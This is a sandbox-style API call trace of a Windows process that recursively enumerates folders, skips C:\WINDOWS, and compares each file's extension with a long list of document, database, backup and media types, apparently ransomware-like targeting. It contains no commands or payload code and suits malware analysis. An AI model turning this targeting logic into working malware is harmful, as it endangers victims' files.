	[0060.478] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0060.478] FindClose (in: hFindFile=0x739858 | out: hFindFile=0x739858) returned 1
	[0060.479] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0060.479] FindNextFileW (in: hFindFile=0x7398d8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0060.479] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 61
	[0060.479] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 1
	[0060.479] lstrlenW (lpString="S-1-5-21-1051304884-625712362-2192934891-1000") returned 45
	[0060.479] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="S-1-5-21-1051304884-625712362-2192934891-1000") returned -1
	[0060.479] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0060.479] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 61
	[0060.479] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x739858
	[0060.479] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.480] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0060.480] lstrlenW (lpString="desktop.ini") returned 11
	[0060.480] lstrlenW (lpString=".1cd") returned 4
	[0060.480] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0060.480] lstrlenW (lpString=".3ds") returned 4
	[0060.480] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1
	[0060.480] lstrlenW (lpString=".3fr") returned 4
	[0060.480] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1
	[0060.480] lstrlenW (lpString=".3g2") returned 4
	[0060.480] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1
	[0060.480] lstrlenW (lpString=".3gp") returned 4
	[0060.480] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1
	[0060.480] lstrlenW (lpString=".7z") returned 3
	[0060.480] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0060.480] lstrlenW (lpString=".accda") returned 6
	[0060.480] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1
	[0060.480] lstrlenW (lpString=".accdb") returned 6
	[0060.480] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1
	[0060.480] lstrlenW (lpString=".accdc") returned 6
	[0060.480] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1
	[0060.480] lstrlenW (lpString=".accde") returned 6
	[0060.480] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1
	[0060.480] lstrlenW (lpString=".accdt") returned 6
	[0060.480] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1
	[0060.480] lstrlenW (lpString=".accdw") returned 6
	[0060.480] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1
	[0060.480] lstrlenW (lpString=".adb") returned 4
	[0060.480] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1
	[0060.480] lstrlenW (lpString=".adp") returned 4
	[0060.480] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1
	[0060.480] lstrlenW (lpString=".ai") returned 3
	[0060.480] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1
	[0060.480] lstrlenW (lpString=".ai3") returned 4
	[0060.480] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1
	[0060.480] lstrlenW (lpString=".ai4") returned 4
	[0060.480] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1
	[0060.480] lstrlenW (lpString=".ai5") returned 4
	[0060.481] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1
	[0060.481] lstrlenW (lpString=".ai6") returned 4
	[0060.481] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1
	[0060.481] lstrlenW (lpString=".ai7") returned 4
	[0060.481] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1
	[0060.481] lstrlenW (lpString=".ai8") returned 4
	[0060.481] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1
	[0060.481] lstrlenW (lpString=".anim") returned 5
	[0060.481] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1
	[0060.481] lstrlenW (lpString=".arw") returned 4
	[0060.481] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1
	[0060.481] lstrlenW (lpString=".as") returned 3
	[0060.481] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1
	[0060.481] lstrlenW (lpString=".asa") returned 4
	[0060.481] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1
	[0060.481] lstrlenW (lpString=".asc") returned 4
	[0060.481] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1
	[0060.481] lstrlenW (lpString=".ascx") returned 5
	[0060.481] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1
	[0060.481] lstrlenW (lpString=".asm") returned 4
	[0060.481] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1
	[0060.481] lstrlenW (lpString=".asmx") returned 5
	[0060.481] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1
	[0060.481] lstrlenW (lpString=".asp") returned 4
	[0060.481] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1
	[0060.481] lstrlenW (lpString=".aspx") returned 5
	[0060.481] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1
	[0060.481] lstrlenW (lpString=".asr") returned 4
	[0060.481] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1
	[0060.481] lstrlenW (lpString=".asx") returned 4
	[0060.481] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1
	[0060.481] lstrlenW (lpString=".avi") returned 4
	[0060.481] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1
	[0060.481] lstrlenW (lpString=".avs") returned 4
	[0060.481] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1
	[0060.481] lstrlenW (lpString=".backup") returned 7
	[0060.481] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1
	[0060.481] lstrlenW (lpString=".bak") returned 4
	[0060.482] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1
	[0060.482] lstrlenW (lpString=".bay") returned 4
	[0060.482] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1
	[0060.482] lstrlenW (lpString=".bd") returned 3
	[0060.482] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1
	[0060.482] lstrlenW (lpString=".bin") returned 4
	[0060.482] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1
	[0060.482] lstrlenW (lpString=".bmp") returned 4
	[0060.482] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1
	[0060.482] lstrlenW (lpString=".bz2") returned 4
	[0060.482] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0060.482] lstrlenW (lpString=".c") returned 2
	[0060.482] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1
	[0060.482] lstrlenW (lpString=".cdr") returned 4
	[0060.482] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1
	[0060.482] lstrlenW (lpString=".cer") returned 4
	[0060.482] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1
	[0060.482] lstrlenW (lpString=".cf") returned 3
	[0060.482] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1
	[0060.482] lstrlenW (lpString=".cfc") returned 4
	[0060.482] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1
	[0060.482] lstrlenW (lpString=".cfm") returned 4
	[0060.482] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1
	[0060.482] lstrlenW (lpString=".cfml") returned 5
	[0060.482] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1
	[0060.482] lstrlenW (lpString=".cfu") returned 4
	[0060.482] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1
	[0060.482] lstrlenW (lpString=".chm") returned 4
	[0060.482] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1
	[0060.482] lstrlenW (lpString=".cin") returned 4
	[0060.482] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1
	[0060.482] lstrlenW (lpString=".class") returned 6
	[0060.482] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1
	[0060.482] lstrlenW (lpString=".clx") returned 4
	[0060.482] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1
	[0060.483] lstrlenW (lpString=".config") returned 7
	[0060.483] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1
	[0060.483] lstrlenW (lpString=".cpp") returned 4
	[0060.483] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1
	[0060.483] lstrlenW (lpString=".cr2") returned 4
	[0060.483] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1
	[0060.483] lstrlenW (lpString=".crt") returned 4
	[0060.483] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1
	[0060.483] lstrlenW (lpString=".crw") returned 4
	[0060.483] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1
	[0060.483] lstrlenW (lpString=".cs") returned 3
	[0060.483] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1
	[0060.483] lstrlenW (lpString=".css") returned 4
	[0060.483] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1
	[0060.483] lstrlenW (lpString=".csv") returned 4
	[0060.483] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1
	[0060.483] lstrlenW (lpString=".cub") returned 4
	[0060.483] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1
	[0060.483] lstrlenW (lpString=".dae") returned 4
	[0060.483] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1
	[0060.483] lstrlenW (lpString=".dat") returned 4
	[0060.483] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1
	[0060.483] lstrlenW (lpString=".db") returned 3
	[0060.483] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1
	[0060.483] lstrlenW (lpString=".dbf") returned 4
	[0060.483] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0060.483] lstrlenW (lpString=".dbx") returned 4
	[0060.483] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1
	[0060.483] lstrlenW (lpString=".dc3") returned 4
	[0060.483] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1
	[0060.483] lstrlenW (lpString=".dcm") returned 4
	[0060.483] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1
	[0060.483] lstrlenW (lpString=".dcr") returned 4
	[0060.483] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1
	[0060.483] lstrlenW (lpString=".der") returned 4
	[0060.483] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1
	[0060.484] lstrlenW (lpString=".dib") returned 4
	[0060.484] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1
	[0060.484] lstrlenW (lpString=".dic") returned 4
	[0060.484] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1
	[0060.484] lstrlenW (lpString=".dif") returned 4
	[0060.484] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1
	[0060.484] lstrlenW (lpString=".divx") returned 5
	[0060.484] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1
	[0060.484] lstrlenW (lpString=".djvu") returned 5
	[0060.484] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1
	[0060.484] lstrlenW (lpString=".dng") returned 4
	[0060.484] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1
	[0060.484] lstrlenW (lpString=".doc") returned 4
	[0060.484] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0060.484] lstrlenW (lpString=".docm") returned 5
	[0060.484] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1
	[0060.484] lstrlenW (lpString=".docx") returned 5
	[0060.484] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0060.484] lstrlenW (lpString=".dot") returned 4
	[0060.484] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1
	[0060.484] lstrlenW (lpString=".dotm") returned 5
	[0060.484] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1
	[0060.484] lstrlenW (lpString=".dotx") returned 5
	[0060.484] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1
	[0060.484] lstrlenW (lpString=".dpx") returned 4
	[0060.484] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1
	[0060.484] lstrlenW (lpString=".dqy") returned 4
	[0060.484] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1
	[0060.484] lstrlenW (lpString=".dsn") returned 4
	[0060.484] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1
	[0060.484] lstrlenW (lpString=".dt") returned 3
	[0060.484] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1
	[0060.484] lstrlenW (lpString=".dtd") returned 4
	[0060.484] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1
	[0060.485] lstrlenW (lpString=".dwg") returned 4
	[0060.485] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1
	[0060.485] lstrlenW (lpString=".dwt") returned 4
	[0060.485] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1
	[0060.485] lstrlenW (lpString=".dx") returned 3
	[0060.485] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1
	[0060.485] lstrlenW (lpString=".dxf") returned 4
	[0060.485] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1
	[0060.485] lstrlenW (lpString=".edml") returned 5
	[0060.485] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1
	[0060.485] lstrlenW (lpString=".efd") returned 4
	[0060.485] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1
	[0060.485] lstrlenW (lpString=".elf") returned 4
	[0060.485] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1
	[0060.485] lstrlenW (lpString=".emf") returned 4
	[0060.485] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1
	[0060.485] lstrlenW (lpString=".emz") returned 4
	[0060.485] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1
	[0060.485] lstrlenW (lpString=".epf") returned 4
	[0060.485] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1
	[0060.485] lstrlenW (lpString=".eps") returned 4
	[0060.485] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1
	[0060.485] lstrlenW (lpString=".epsf") returned 5
	[0060.485] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1
	[0060.485] lstrlenW (lpString=".epsp") returned 5
	[0060.485] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1
	[0060.485] lstrlenW (lpString=".erf") returned 4
	[0060.485] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1
	[0060.485] lstrlenW (lpString=".exr") returned 4
	[0060.485] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1
	[0060.485] lstrlenW (lpString=".f4v") returned 4
	[0060.485] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1
	[0060.485] lstrlenW (lpString=".fido") returned 5
	[0060.486] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1
	[0060.486] lstrlenW (lpString=".flm") returned 4
	[0060.486] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1
	[0060.486] lstrlenW (lpString=".flv") returned 4
	[0060.486] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1
	[0060.486] lstrlenW (lpString=".frm") returned 4
	[0060.486] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1
	[0060.486] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0060.486] FindClose (in: hFindFile=0x739858 | out: hFindFile=0x739858) returned 1
	[0060.486] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0060.486] FindNextFileW (in: hFindFile=0x7398d8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0060.486] FindClose (in: hFindFile=0x7398d8 | out: hFindFile=0x7398d8) returned 1
	[0060.486] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3200940 | out: hHeap=0x720000) returned 1
	[0060.487] FindNextFileW (in: hFindFile=0x7397d8, lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0060.487] FindNextFileW (in: hFindFile=0x7397d8, lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0060.487] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3200940
	[0060.487] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0060.487] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x739858
	[0060.499] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0060.714] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1
	[0060.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26
	[0060.714] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1025") returned 1
	[0060.714] lstrlenW (lpString="1025") returned 4
	[0060.714] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1025") returned 1
	[0060.714] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26
	[0062.009] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7398d8
	[0062.010] FindNextFileW (in: hFindFile=0x7398d8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.010] FindNextFileW (in: hFindFile=0x7398d8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.010] lstrlenW (lpString="eula.rtf") returned 8
	[0062.010] lstrlenW (lpString=".1cd") returned 4
	[0062.010] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.010] lstrlenW (lpString=".3ds") returned 4
	[0062.010] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0062.011] lstrlenW (lpString=".3fr") returned 4
	[0062.011] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0062.011] lstrlenW (lpString=".3g2") returned 4
	[0062.011] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0062.011] lstrlenW (lpString=".3gp") returned 4
	[0062.011] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0062.011] lstrlenW (lpString=".7z") returned 3
	[0062.011] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.011] lstrlenW (lpString=".accda") returned 6
	[0062.011] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0062.011] lstrlenW (lpString=".accdb") returned 6
	[0062.011] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0062.011] lstrlenW (lpString=".accdc") returned 6
	[0062.011] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0062.011] lstrlenW (lpString=".accde") returned 6
	[0062.011] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0062.011] lstrlenW (lpString=".accdt") returned 6
	[0062.011] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0062.011] lstrlenW (lpString=".accdw") returned 6
	[0062.011] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0062.011] lstrlenW (lpString=".adb") returned 4
	[0062.011] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0062.011] lstrlenW (lpString=".adp") returned 4
	[0062.011] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0062.011] lstrlenW (lpString=".ai") returned 3
	[0062.011] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0062.011] lstrlenW (lpString=".ai3") returned 4
	[0062.011] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0062.011] lstrlenW (lpString=".ai4") returned 4
	[0062.011] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0062.011] lstrlenW (lpString=".ai5") returned 4
	[0062.011] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0062.011] lstrlenW (lpString=".ai6") returned 4
	[0062.011] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0062.011] lstrlenW (lpString=".ai7") returned 4
	[0062.011] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0062.011] lstrlenW (lpString=".ai8") returned 4
	[0062.011] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0062.012] lstrlenW (lpString=".anim") returned 5
	[0062.012] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0062.012] lstrlenW (lpString=".arw") returned 4
	[0062.012] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0062.012] lstrlenW (lpString=".as") returned 3
	[0062.012] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0062.012] lstrlenW (lpString=".asa") returned 4
	[0062.012] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
